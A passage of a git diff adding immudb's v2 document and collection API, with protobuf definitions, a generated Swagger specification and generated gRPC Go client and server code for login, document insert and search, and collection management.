runtime.AssumeColonVerbOpt(true))) +) + +var ( + forward_ImmuService_Login_0 = runtime.ForwardResponseMessage + + forward_ImmuService_DocumentInsert_0 = runtime.ForwardResponseMessage + + forward_ImmuService_DocumentSearch_0 = runtime.ForwardResponseMessage + + forward_ImmuService_CollectionCreate_0 = runtime.ForwardResponseMessage + + forward_ImmuService_CollectionList_0 = runtime.ForwardResponseMessage + + forward_ImmuService_CollectionDelete_0 = runtime.ForwardResponseMessage +) diff --git a/pkg/api/schemav2/schemav2.proto b/pkg/api/schemav2/schemav2.proto new file mode 100644 index 0000000000..c076393203 --- /dev/null +++ b/pkg/api/schemav2/schemav2.proto @@ -0,0 +1,143 @@ +syntax = "proto3"; + +package immudb.schemav2; + +import "google/api/annotations.proto"; +import "google/protobuf/empty.proto"; +import "google/protobuf/struct.proto"; +import "schema.proto"; +import "protoc-gen-swagger/options/annotations.proto"; + +option go_package = "github.com/codenotary/immudb/pkg/api/schemav2"; +option (grpc.gateway.protoc_gen_swagger.options.openapiv2_swagger) = { + info: { + title: "immudb REST API v2"; + description: "" + }; + security_definitions: { + security: { + key: "bearer" + value: { + type: TYPE_API_KEY + in: IN_HEADER + name: "Authorization" + description: "Authentication token, prefixed by Bearer: Bearer " + } + } + } + security: { + security_requirement: { + key: "bearer" + } + } +}; + +message DocumentInsertRequest { + string collection = 1; + repeated google.protobuf.Struct document = 2; +} + +message DocumentSearchRequest { + string collection = 1; + map query = 2; + uint32 page = 3; + uint32 perPage = 4; +} + +message DocumentSearchResponse { + repeated google.protobuf.Struct results = 1; + uint32 page = 2; + uint32 perPage = 3; + uint32 entriesLeft = 4; +} + +message LoginRequest { + string username = 1; + string password = 2; + string database = 3; + bool writeAccess = 4; +} + +message LoginResponse { + string token = 1; +} + +message PossibleIndexValue { + // The kind of value. + oneof kind { + // Represents a double value. + double number_value = 1; + // Represents a string value. + string string_value = 2; + // Represents a boolean value. + bool bool_value = 3; + // Represents a int64 value + int64 int_value = 4; + } +} + +message CollectionCreateRequest { + string name = 1; + map primaryKeys = 2; + map indexKeys = 3; +} + +message CollectionInformation { + string name = 1; + map primaryKeys = 2; + map indexKeys = 3; +} + +message CollectionListRequest { +} + +message CollectionListResponse { + repeated CollectionInformation collections = 1; +} + +message CollectionDeleteRequest { + string name = 1; +} + + +service ImmuService { + rpc Login(LoginRequest) returns (LoginResponse) { + option (google.api.http) = { + post: "/api/v2/system/login" + body: "*" + }; + } + + rpc DocumentInsert(DocumentInsertRequest) returns (schema.VerifiableTx) { + option (google.api.http) = { + post: "/api/v2/documents/documentInsert" + body: "*" + }; + } + + rpc DocumentSearch(DocumentSearchRequest) returns (DocumentSearchResponse) { + option (google.api.http) = { + post: "/api/v2/documents/documentSearch" + body: "*" + }; + } + + rpc CollectionCreate(CollectionCreateRequest) returns (CollectionInformation) { + option (google.api.http) = { + post: "/api/v2/collections/collectionCreate" + body: "*" + }; + } + rpc CollectionList(CollectionListRequest) returns (CollectionListResponse) { + option (google.api.http) = { + post: "/api/v2/collections/collectionList" + body: "*" + }; + } + rpc CollectionDelete(CollectionDeleteRequest) returns (google.protobuf.Empty) { + option (google.api.http) = { + post: "/api/v2/collections/collectionDelete" + body: "*" + }; + } +} \ No newline at end of file diff --git a/pkg/api/schemav2/schemav2.swagger.json b/pkg/api/schemav2/schemav2.swagger.json new file mode 100644 index 0000000000..d040f6bfbe --- /dev/null +++ b/pkg/api/schemav2/schemav2.swagger.json @@ -0,0 +1,825 @@ +{ + "swagger": "2.0", + "info": { + "title": "immudb REST API v2", + "version": "version not set" + }, + "consumes": [ + "application/json" + ], + "produces": [ + "application/json" + ], + "paths": { + "/api/v2/collections/collectionCreate": { + "post": { + "operationId": "ImmuService_CollectionCreate", + "responses": { + "200": { + "description": "A successful response.", + "schema": { + "$ref": "#/definitions/schemav2CollectionInformation" + } + }, + "default": { + "description": "An unexpected error response.", + "schema": { + "$ref": "#/definitions/runtimeError" + } + } + }, + "parameters": [ + { + "name": "body", + "in": "body", + "required": true, + "schema": { + "$ref": "#/definitions/schemav2CollectionCreateRequest" + } + } + ], + "tags": [ + "ImmuService" + ] + } + }, + "/api/v2/collections/collectionDelete": { + "post": { + "operationId": "ImmuService_CollectionDelete", + "responses": { + "200": { + "description": "A successful response.", + "schema": { + "properties": {} + } + }, + "default": { + "description": "An unexpected error response.", + "schema": { + "$ref": "#/definitions/runtimeError" + } + } + }, + "parameters": [ + { + "name": "body", + "in": "body", + "required": true, + "schema": { + "$ref": "#/definitions/schemav2CollectionDeleteRequest" + } + } + ], + "tags": [ + "ImmuService" + ] + } + }, + "/api/v2/collections/collectionList": { + "post": { + "operationId": "ImmuService_CollectionList", + "responses": { + "200": { + "description": "A successful response.", + "schema": { + "$ref": "#/definitions/schemav2CollectionListResponse" + } + }, + "default": { + "description": "An unexpected error response.", + "schema": { + "$ref": "#/definitions/runtimeError" + } + } + }, + "parameters": [ + { + "name": "body", + "in": "body", + "required": true, + "schema": { + "$ref": "#/definitions/schemav2CollectionListRequest" + } + } + ], + "tags": [ + "ImmuService" + ] + } + }, + "/api/v2/documents/documentInsert": { + "post": { + "operationId": "ImmuService_DocumentInsert", + "responses": { + "200": { + "description": "A successful response.", + "schema": { + "$ref": "#/definitions/schemaVerifiableTx" + } + }, + "default": { + "description": "An unexpected error response.", + "schema": { + "$ref": "#/definitions/runtimeError" + } + } + }, + "parameters": [ + { + "name": "body", + "in": "body", + "required": true, + "schema": { + "$ref": "#/definitions/schemav2DocumentInsertRequest" + } + } + ], + "tags": [ + "ImmuService" + ] + } + }, + "/api/v2/documents/documentSearch": { + "post": { + "operationId": "ImmuService_DocumentSearch", + "responses": { + "200": { + "description": "A successful response.", + "schema": { + "$ref": "#/definitions/schemav2DocumentSearchResponse" + } + }, + "default": { + "description": "An unexpected error response.", + "schema": { + "$ref": "#/definitions/runtimeError" + } + } + }, + "parameters": [ + { + "name": "body", + "in": "body", + "required": true, + "schema": { + "$ref": "#/definitions/schemav2DocumentSearchRequest" + } + } + ], + "tags": [ + "ImmuService" + ] + } + }, + "/api/v2/system/login": { + "post": { + "operationId": "ImmuService_Login", + "responses": { + "200": { + "description": "A successful response.", + "schema": { + "$ref": "#/definitions/immudbschemav2LoginResponse" + } + }, + "default": { + "description": "An unexpected error response.", + "schema": { + "$ref": "#/definitions/runtimeError" + } + } + }, + "parameters": [ + { + "name": "body", + "in": "body", + "required": true, + "schema": { + "$ref": "#/definitions/immudbschemav2LoginRequest" + } + } + ], + "tags": [ + "ImmuService" + ] + } + } + }, + "definitions": { + "immudbschemav2LoginRequest": { + "type": "object", + "properties": { + "username": { + "type": "string" + }, + "password": { + "type": "string" + }, + "database": { + "type": "string" + }, + "writeAccess": { + "type": "boolean" + } + } + }, + "immudbschemav2LoginResponse": { + "type": "object", + "properties": { + "token": { + "type": "string" + } + } + }, + "protobufAny": { + "type": "object", + "properties": { + "type_url": { + "type": "string", + "description": "A URL/resource name that uniquely identifies the type of the serialized\nprotocol buffer message. This string must contain at least\none \"/\" character. The last segment of the URL's path must represent\nthe fully qualified name of the type (as in\n`path/google.protobuf.Duration`). The name should be in a canonical form\n(e.g., leading \".\" is not accepted).\n\nIn practice, teams usually precompile into the binary all types that they\nexpect it to use in the context of Any. However, for URLs which use the\nscheme `http`, `https`, or no scheme, one can optionally set up a type\nserver that maps type URLs to message definitions as follows:\n\n* If no scheme is provided, `https` is assumed.\n* An HTTP GET on the URL must yield a [google.protobuf.Type][]\n value in binary format, or produce an error.\n* Applications are allowed to cache lookup results based on the\n URL, or have them precompiled into a binary to avoid any\n lookup. Therefore, binary compatibility needs to be preserved\n on changes to types. (Use versioned type names to manage\n breaking changes.)\n\nNote: this functionality is not currently available in the official\nprotobuf release, and it is not used for type URLs beginning with\ntype.googleapis.com.\n\nSchemes other than `http`, `https` (or the empty scheme) might be\nused with implementation specific semantics." + }, + "value": { + "type": "string", + "format": "byte", + "description": "Must be a valid serialized protocol buffer of the above specified type." + } + }, + "description": "`Any` contains an arbitrary serialized protocol buffer message along with a\nURL that describes the type of the serialized message.\n\nProtobuf library provides support to pack/unpack Any values in the form\nof utility functions or additional generated methods of the Any type.\n\nExample 1: Pack and unpack a message in C++.\n\n Foo foo = ...;\n Any any;\n any.PackFrom(foo);\n ...\n if (any.UnpackTo(\u0026foo)) {\n ...\n }\n\nExample 2: Pack and unpack a message in Java.\n\n Foo foo = ...;\n Any any = Any.pack(foo);\n ...\n if (any.is(Foo.class)) {\n foo = any.unpack(Foo.class);\n }\n\n Example 3: Pack and unpack a message in Python.\n\n foo = Foo(...)\n any = Any()\n any.Pack(foo)\n ...\n if any.Is(Foo.DESCRIPTOR):\n any.Unpack(foo)\n ...\n\n Example 4: Pack and unpack a message in Go\n\n foo := \u0026pb.Foo{...}\n any, err := ptypes.MarshalAny(foo)\n ...\n foo := \u0026pb.Foo{}\n if err := ptypes.UnmarshalAny(any, foo); err != nil {\n ...\n }\n\nThe pack methods provided by protobuf library will by default use\n'type.googleapis.com/full.type.name' as the type URL and the unpack\nmethods only use the fully qualified type name after the last '/'\nin the type URL, for example \"foo.bar.com/x/y.z\" will yield type\nname \"y.z\".\n\n\nJSON\n====\nThe JSON representation of an `Any` value uses the regular\nrepresentation of the deserialized, embedded message, with an\nadditional field `@type` which contains the type URL. Example:\n\n package google.profile;\n message Person {\n string first_name = 1;\n string last_name = 2;\n }\n\n {\n \"@type\": \"type.googleapis.com/google.profile.Person\",\n \"firstName\": \u003cstring\u003e,\n \"lastName\": \u003cstring\u003e\n }\n\nIf the embedded message type is well-known and has a custom JSON\nrepresentation, that representation will be embedded adding a field\n`value` which holds the custom JSON in addition to the `@type`\nfield. Example (for message [google.protobuf.Duration][]):\n\n {\n \"@type\": \"type.googleapis.com/google.protobuf.Duration\",\n \"value\": \"1.212s\"\n }" + }, + "protobufNullValue": { + "type": "string", + "enum": [ + "NULL_VALUE" + ], + "default": "NULL_VALUE", + "description": "`NullValue` is a singleton enumeration to represent the null value for the\n`Value` type union.\n\n The JSON representation for `NullValue` is JSON `null`.\n\n - NULL_VALUE: Null value." + }, + "runtimeError": { + "type": "object", + "properties": { + "error": { + "type": "string" + }, + "code": { + "type": "integer", + "format": "int32" + }, + "message": { + "type": "string" + }, + "details": { + "type": "array", + "items": { + "$ref": "#/definitions/protobufAny" + } + } + } + }, + "schemaDualProof": { + "type": "object", + "properties": { + "sourceTxHeader": { + "$ref": "#/definitions/schemaTxHeader", + "title": "Header of the source (earlier) transaction" + }, + "targetTxHeader": { + "$ref": "#/definitions/schemaTxHeader", + "title": "Header of the target (latter) transaction" + }, + "inclusionProof": { + "type": "array", + "items": { + "type": "string", + "format": "byte" + }, + "title": "Inclusion proof of the source transaction hash in the main Merkle Tree" + }, + "consistencyProof": { + "type": "array", + "items": { + "type": "string", + "format": "byte" + }, + "title": "Consistency proof between Merkle Trees in the source and target transactions" + }, + "targetBlTxAlh": { + "type": "string", + "format": "byte", + "title": "Accumulative hash (Alh) of the last transaction that's part of the target Merkle Tree" + }, + "lastInclusionProof": { + "type": "array", + "items": { + "type": "string", + "format": "byte" + }, + "title": "Inclusion proof of the targetBlTxAlh in the target Merkle Tree" + }, + "linearProof": { + "$ref": "#/definitions/schemaLinearProof", + "title": "Linear proof starting from targetBlTxAlh to the final state value" + }, + "LinearAdvanceProof": { + "$ref": "#/definitions/schemaLinearAdvanceProof", + "title": "Proof of consistency between some part of older linear chain and newer Merkle Tree" + } + }, + "title": "DualProof contains inclusion and consistency proofs for dual Merkle-Tree + Linear proofs" + }, + "schemaEntry": { + "type": "object", + "properties": { + "tx": { + "type": "string", + "format": "uint64", + "title": "Transaction id at which the target value was set (i.e. not the reference transaction id)" + }, + "key": { + "type": "string", + "format": "byte", + "title": "Key of the target value (i.e. not the reference entry)" + }, + "value": { + "type": "string", + "format": "byte", + "title": "Value" + }, + "referencedBy": { + "$ref": "#/definitions/schemaReference", + "title": "If the request was for a reference, this field will keep information about the reference entry" + }, + "metadata": { + "$ref": "#/definitions/schemaKVMetadata", + "title": "Metadata of the target entry (i.e. not the reference entry)" + }, + "expired": { + "type": "boolean", + "title": "If set to true, this entry has expired and the value is not retrieved" + }, + "revision": { + "type": "string", + "format": "uint64", + "title": "Key's revision, in case of GetAt it will be 0" + } + } + }, + "schemaExpiration": { + "type": "object", + "properties": { + "expiresAt": { + "type": "string", + "format": "int64", + "title": "Entry expiration time (unix timestamp in seconds)" + } + } + }, + "schemaInclusionProof": { + "type": "object", + "properties": { + "leaf": { + "type": "integer", + "format": "int32", + "title": "Index of the leaf for which the proof is generated" + }, + "width": { + "type": "integer", + "format": "int32", + "title": "Width of the tree at the leaf level" + }, + "terms": { + "type": "array", + "items": { + "type": "string", + "format": "byte" + }, + "title": "Proof terms (selected hashes from the tree)" + } + } + }, + "schemaKVMetadata": { + "type": "object", + "properties": { + "deleted": { + "type": "boolean", + "title": "True if this entry denotes a logical deletion" + }, + "expiration": { + "$ref": "#/definitions/schemaExpiration", + "title": "Entry expiration information" + }, + "nonIndexable": { + "type": "boolean", + "title": "If set to true, this entry will not be indexed and will only be accessed through GetAt calls" + } + } + }, + "schemaLinearAdvanceProof": { + "type": "object", + "properties": { + "linearProofTerms": { + "type": "array", + "items": { + "type": "string", + "format": "byte" + }, + "title": "terms for the linear chain" + }, + "inclusionProofs": { + "type": "array", + "items": { + "$ref": "#/definitions/schemaInclusionProof" + }, + "title": "inclusion proofs for steps on the linear chain" + } + }, + "title": "LinearAdvanceProof contains the proof of consistency between the consumed part of the older linear chain\nand the new Merkle Tree" + }, + "schemaLinearProof": { + "type": "object", + "properties": { + "sourceTxId": { + "type": "string", + "format": "uint64", + "title": "Starting transaction of the proof" + }, + "TargetTxId": { + "type": "string", + "format": "uint64", + "title": "End transaction of the proof" + }, + "terms": { + "type": "array", + "items": { + "type": "string", + "format": "byte" + }, + "title": "List of terms (inner hashes of transaction entries)" + } + }, + "title": "LinearProof contains the linear part of the proof (outside the main Merkle Tree)" + }, + "schemaReference": { + "type": "object", + "properties": { + "tx": { + "type": "string", + "format": "uint64", + "title": "Transaction if when the reference key was set" + }, + "key": { + "type": "string", + "format": "byte", + "title": "Reference key" + }, + "atTx": { + "type": "string", + "format": "uint64", + "title": "At which transaction the key is bound, 0 if reference is not bound and should read the most recent reference" + }, + "metadata": { + "$ref": "#/definitions/schemaKVMetadata", + "title": "Metadata of the reference entry" + }, + "revision": { + "type": "string", + "format": "uint64", + "title": "Revision of the reference entry" + } + } + }, + "schemaSignature": { + "type": "object", + "properties": { + "publicKey": { + "type": "string", + "format": "byte" + }, + "signature": { + "type": "string", + "format": "byte" + } + } + }, + "schemaTx": { + "type": "object", + "properties": { + "header": { + "$ref": "#/definitions/schemaTxHeader", + "title": "Transaction header" + }, + "entries": { + "type": "array", + "items": { + "$ref": "#/definitions/schemaTxEntry" + }, + "title": "Raw entry values" + }, + "kvEntries": { + "type": "array", + "items": { + "$ref": "#/definitions/schemaEntry" + }, + "title": "KV entries in the transaction (parsed)" + }, + "zEntries": { + "type": "array", + "items": { + "$ref": "#/definitions/schemaZEntry" + }, + "title": "Sorted Set entries in the transaction (parsed)" + } + } + }, + "schemaTxEntry": { + "type": "object", + "properties": { + "key": { + "type": "string", + "format": "byte", + "title": "Raw key value (contains 1-byte prefix for kind of the key)" + }, + "hValue": { + "type": "string", + "format": "byte", + "title": "Value hash" + }, + "vLen": { + "type": "integer", + "format": "int32", + "title": "Value length" + }, + "metadata": { + "$ref": "#/definitions/schemaKVMetadata", + "title": "Entry metadata" + }, + "value": { + "type": "string", + "format": "byte", + "description": "value, must be ignored when len(value) == 0 and vLen \u003e 0.\nOtherwise sha256(value) must be equal to hValue." + } + } + }, + "schemaTxHeader": { + "type": "object", + "properties": { + "id": { + "type": "string", + "format": "uint64", + "title": "Transaction ID" + }, + "prevAlh": { + "type": "string", + "format": "byte", + "title": "State value (Accumulative Hash - Alh) of the previous transaction" + }, + "ts": { + "type": "string", + "format": "int64", + "title": "Unix timestamp of the transaction (in seconds)" + }, + "nentries": { + "type": "integer", + "format": "int32", + "title": "Number of entries in a transaction" + }, + "eH": { + "type": "string", + "format": "byte", + "title": "Entries Hash - cumulative hash of all entries in the transaction" + }, + "blTxId": { + "type": "string", + "format": "uint64", + "title": "Binary linking tree transaction ID\n(ID of last transaction already in the main Merkle Tree)" + }, + "blRoot": { + "type": "string", + "format": "byte", + "title": "Binary linking tree root (Root hash of the Merkle Tree)" + }, + "version": { + "type": "integer", + "format": "int32", + "title": "Header version" + }, + "metadata": { + "$ref": "#/definitions/schemaTxMetadata", + "title": "Transaction metadata" + } + } + }, + "schemaTxMetadata": { + "type": "object", + "properties": { + "truncatedTxID": { + "type": "string", + "format": "uint64", + "title": "Entry expiration information" + } + }, + "title": "TxMetadata contains metadata set to whole transaction" + }, + "schemaVerifiableTx": { + "type": "object", + "properties": { + "tx": { + "$ref": "#/definitions/schemaTx", + "title": "Transaction to verify" + }, + "dualProof": { + "$ref": "#/definitions/schemaDualProof", + "title": "Proof for the transaction" + }, + "signature": { + "$ref": "#/definitions/schemaSignature", + "title": "Signature for the new state value" + } + } + }, + "schemaZEntry": { + "type": "object", + "properties": { + "set": { + "type": "string", + "format": "byte", + "title": "Name of the sorted set" + }, + "key": { + "type": "string", + "format": "byte", + "title": "Referenced key" + }, + "entry": { + "$ref": "#/definitions/schemaEntry", + "title": "Referenced entry" + }, + "score": { + "type": "number", + "format": "double", + "title": "Sorted set element's score" + }, + "atTx": { + "type": "string", + "format": "uint64", + "title": "At which transaction the key is bound,\n0 if reference is not bound and should read the most recent reference" + } + } + }, + "schemav2CollectionCreateRequest": { + "type": "object", + "properties": { + "name": { + "type": "string" + }, + "primaryKeys": { + "type": "object", + "additionalProperties": { + "$ref": "#/definitions/schemav2PossibleIndexValue" + } + }, + "indexKeys": { + "type": "object", + "additionalProperties": { + "$ref": "#/definitions/schemav2PossibleIndexValue" + } + } + } + }, + "schemav2CollectionDeleteRequest": { + "type": "object", + "properties": { + "name": { + "type": "string" + } + } + }, + "schemav2CollectionInformation": { + "type": "object", + "properties": { + "name": { + "type": "string" + }, + "primaryKeys": { + "type": "object", + "additionalProperties": { + "$ref": "#/definitions/schemav2PossibleIndexValue" + } + }, + "indexKeys": { + "type": "object", + "additionalProperties": { + "$ref": "#/definitions/schemav2PossibleIndexValue" + } + } + } + }, + "schemav2CollectionListRequest": { + "type": "object" + }, + "schemav2CollectionListResponse": { + "type": "object", + "properties": { + "collections": { + "type": "array", + "items": { + "$ref": "#/definitions/schemav2CollectionInformation" + } + } + } + }, + "schemav2DocumentInsertRequest": { + "type": "object", + "properties": { + "collection": { + "type": "string" + }, + "document": { + "type": "array", + "items": { + "type": "object" + } + } + } + }, + "schemav2DocumentSearchRequest": { + "type": "object", + "properties": { + "collection": { + "type": "string" + }, + "query": { + "type": "object", + "additionalProperties": { + "type": "object" + } + }, + "page": { + "type": "integer", + "format": "int64" + }, + "perPage": { + "type": "integer", + "format": "int64" + } + } + }, + "schemav2DocumentSearchResponse": { + "type": "object", + "properties": { + "results": { + "type": "array", + "items": { + "type": "object" + } + }, + "page": { + "type": "integer", + "format": "int64" + }, + "perPage": { + "type": "integer", + "format": "int64" + }, + "entriesLeft": { + "type": "integer", + "format": "int64" + } + } + }, + "schemav2PossibleIndexValue": { + "type": "object", + "properties": { + "number_value": { + "type": "number", + "format": "double", + "description": "Represents a double value." + }, + "string_value": { + "type": "string", + "description": "Represents a string value." + }, + "bool_value": { + "type": "boolean", + "description": "Represents a boolean value." + }, + "int_value": { + "type": "string", + "format": "int64", + "title": "Represents a int64 value" + } + } + } + }, + "securityDefinitions": { + "bearer": { + "type": "apiKey", + "description": "Authentication token, prefixed by Bearer: Bearer \u003ctoken\u003e", + "name": "Authorization", + "in": "header" + } + }, + "security": [ + { + "bearer": [] + } + ] +} diff --git a/pkg/api/schemav2/schemav2_grpc.pb.go b/pkg/api/schemav2/schemav2_grpc.pb.go new file mode 100644 index 0000000000..67f83c61c4 --- /dev/null +++ b/pkg/api/schemav2/schemav2_grpc.pb.go @@ -0,0 +1,281 @@ +// Code generated by protoc-gen-go-grpc. DO NOT EDIT. + +package schemav2 + +import ( + context "context" + schema "github.com/codenotary/immudb/pkg/api/schema" + empty "github.com/golang/protobuf/ptypes/empty" + grpc "google.golang.org/grpc" + codes "google.golang.org/grpc/codes" + status "google.golang.org/grpc/status" +) + +// This is a compile-time assertion to ensure that this generated file +// is compatible with the grpc package it is being compiled against. +// Requires gRPC-Go v1.32.0 or later. +const _ = grpc.SupportPackageIsVersion7 + +// ImmuServiceClient is the client API for ImmuService service. +// +// For semantics around ctx use and closing/ending streaming RPCs, please refer to https://pkg.go.dev/google.golang.org/grpc/?tab=doc#ClientConn.NewStream. +type ImmuServiceClient interface { + Login(ctx context.Context, in *LoginRequest, opts ...grpc.CallOption) (*LoginResponse, error) + DocumentInsert(ctx context.Context, in *DocumentInsertRequest, opts ...grpc.CallOption) (*schema.VerifiableTx, error) + DocumentSearch(ctx context.Context, in *DocumentSearchRequest, opts ...grpc.CallOption) (*DocumentSearchResponse, error) + CollectionCreate(ctx context.Context, in *CollectionCreateRequest, opts ...grpc.CallOption) (*CollectionInformation, error) + CollectionList(ctx context.Context, in *CollectionListRequest, opts ...grpc.CallOption) (*CollectionListResponse, error) + CollectionDelete(ctx context.Context, in *CollectionDeleteRequest, opts ...grpc.CallOption) (*empty.Empty, error) +} + +type immuServiceClient struct { + cc grpc.ClientConnInterface +} + +func NewImmuServiceClient(cc grpc.ClientConnInterface) ImmuServiceClient { + return &immuServiceClient{cc} +} + +func (c *immuServiceClient) Login(ctx context.Context, in *LoginRequest, opts ...grpc.CallOption) (*LoginResponse, error) { + out := new(LoginResponse) + err := c.cc.Invoke(ctx, "/immudb.schemav2.ImmuService/Login", in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} + +func (c *immuServiceClient) DocumentInsert(ctx context.Context, in *DocumentInsertRequest, opts ...grpc.CallOption) (*schema.VerifiableTx, error) { + out := new(schema.VerifiableTx) + err := c.cc.Invoke(ctx, "/immudb.schemav2.ImmuService/DocumentInsert", in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} + +func (c *immuServiceClient) DocumentSearch(ctx context.Context, in *DocumentSearchRequest, opts ...grpc.CallOption) (*DocumentSearchResponse, error) { + out := new(DocumentSearchResponse) + err := c.cc.Invoke(ctx, "/immudb.schemav2.ImmuService/DocumentSearch", in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} + +func (c *immuServiceClient) CollectionCreate(ctx context.Context, in *CollectionCreateRequest, opts ...grpc.CallOption) (*CollectionInformation, error) { + out := new(CollectionInformation) + err := c.cc.Invoke(ctx, "/immudb.schemav2.ImmuService/CollectionCreate", in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} + +func (c *immuServiceClient) CollectionList(ctx context.Context, in *CollectionListRequest, opts ...grpc.CallOption) (*CollectionListResponse, error) { + out := new(CollectionListResponse) + err := c.cc.Invoke(ctx, "/immudb.schemav2.ImmuService/CollectionList", in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} + +func (c *immuServiceClient) CollectionDelete(ctx context.Context, in *CollectionDeleteRequest, opts ...grpc.CallOption) (*empty.Empty, error) { + out := new(empty.Empty) + err := c.cc.Invoke(ctx, "/immudb.schemav2.ImmuService/CollectionDelete", in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} + +// ImmuServiceServer is the server API for ImmuService service. +// All implementations should embed UnimplementedImmuServiceServer +// for forward compatibility +type ImmuServiceServer interface { + Login(context.Context, *LoginRequest) (*LoginResponse, error) + DocumentInsert(context.Context, *DocumentInsertRequest) (*schema.VerifiableTx, error) + DocumentSearch(context.Context, *DocumentSearchRequest) (*DocumentSearchResponse, error) + CollectionCreate(context.Context, *CollectionCreateRequest) (*CollectionInformation, error) + CollectionList(context.Context, *CollectionListRequest) (*CollectionListResponse, error) + CollectionDelete(context.Context, *CollectionDeleteRequest) (*empty.Empty, error) +} + +// UnimplementedImmuServiceServer should be embedded to have forward compatible implementations. +type UnimplementedImmuServiceServer struct { +} + +func (UnimplementedImmuServiceServer) Login(context.Context, *LoginRequest) (*LoginResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method Login not implemented") +} +func (UnimplementedImmuServiceServer) DocumentInsert(context.Context, *DocumentInsertRequest) (*schema.VerifiableTx, error) { + return nil, status.Errorf(codes.Unimplemented, "method DocumentInsert not implemented") +} +func (UnimplementedImmuServiceServer) DocumentSearch(context.Context, *DocumentSearchRequest) (*DocumentSearchResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method DocumentSearch not implemented") +} +func (UnimplementedImmuServiceServer) CollectionCreate(context.Context, *CollectionCreateRequest) (*CollectionInformation, error) { + return nil, status.Errorf(codes.Unimplemented, "method CollectionCreate not implemented") +} +func (UnimplementedImmuServiceServer) CollectionList(context.Context, *CollectionListRequest) (*CollectionListResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method CollectionList not implemented") +} +func (UnimplementedImmuServiceServer) CollectionDelete(context.Context, *CollectionDeleteRequest) (*empty.Empty, error) { + return nil, status.Errorf(codes.Unimplemented, "method CollectionDelete not implemented") +} + +// UnsafeImmuServiceServer may be embedded to opt out of forward compatibility for this service. +// Use of this interface is not recommended, as added methods to ImmuServiceServer will +// result in compilation errors. +type UnsafeImmuServiceServer interface { + mustEmbedUnimplementedImmuServiceServer() +} + +func RegisterImmuServiceServer(s grpc.ServiceRegistrar, srv ImmuServiceServer) { + s.RegisterService(&ImmuService_ServiceDesc, srv) +} + +func _ImmuService_Login_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(LoginRequest) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(ImmuServiceServer).Login(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: "/immudb.schemav2.ImmuService/Login", + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(ImmuServiceServer).Login(ctx, req.(*LoginRequest)) + } + return interceptor(ctx, in, info, handler) +} + +func _ImmuService_DocumentInsert_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(DocumentInsertRequest) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(ImmuServiceServer).DocumentInsert(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: "/immudb.schemav2.ImmuService/DocumentInsert", + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(ImmuServiceServer).DocumentInsert(ctx, req.(*DocumentInsertRequest)) + } + return interceptor(ctx, in, info, handler) +} + +func _ImmuService_DocumentSearch_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(DocumentSearchRequest) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(ImmuServiceServer).DocumentSearch(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: "/immudb.schemav2.ImmuService/DocumentSearch", + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(ImmuServiceServer).DocumentSearch(ctx, req.(*DocumentSearchRequest)) + } + return interceptor(ctx, in, info, handler) +} + +func _ImmuService_CollectionCreate_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(CollectionCreateRequest) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(ImmuServiceServer).CollectionCreate(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: "/immudb.schemav2.ImmuService/CollectionCreate", + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(ImmuServiceServer).CollectionCreate(ctx, req.(*CollectionCreateRequest)) + } + return interceptor(ctx, in, info, handler) +} + +func _ImmuService_CollectionList_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(CollectionListRequest) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(ImmuServiceServer).CollectionList(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: "/immudb.schemav2.ImmuService/CollectionList", + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(ImmuServiceServer).CollectionList(ctx, req.(*CollectionListRequest)) + } + return interceptor(ctx, in, info, handler) +} + +func _ImmuService_CollectionDelete_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(CollectionDeleteRequest) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(ImmuServiceServer).CollectionDelete(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: "/immudb.schemav2.ImmuService/CollectionDelete", + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(ImmuServiceServer).CollectionDelete(ctx, req.(*CollectionDeleteRequest)) + } + return interceptor(ctx, in, info, handler) +} + +// ImmuService_ServiceDesc is the grpc.ServiceDesc for ImmuService service. +// It's only intended for direct use with grpc.RegisterService, +// and not to be introspected or modified (even as a copy) +var ImmuService_ServiceDesc = grpc.ServiceDesc{ + ServiceName: "immudb.schemav2.ImmuService", + HandlerType: (*ImmuServiceServer)(nil), + Methods: []grpc.MethodDesc{ + { + MethodName: "Login", + Handler: _ImmuService_Login_Handler, + }, + { + MethodName: "DocumentInsert", + Handler: _ImmuService_DocumentInsert_Handler, + }, + { + 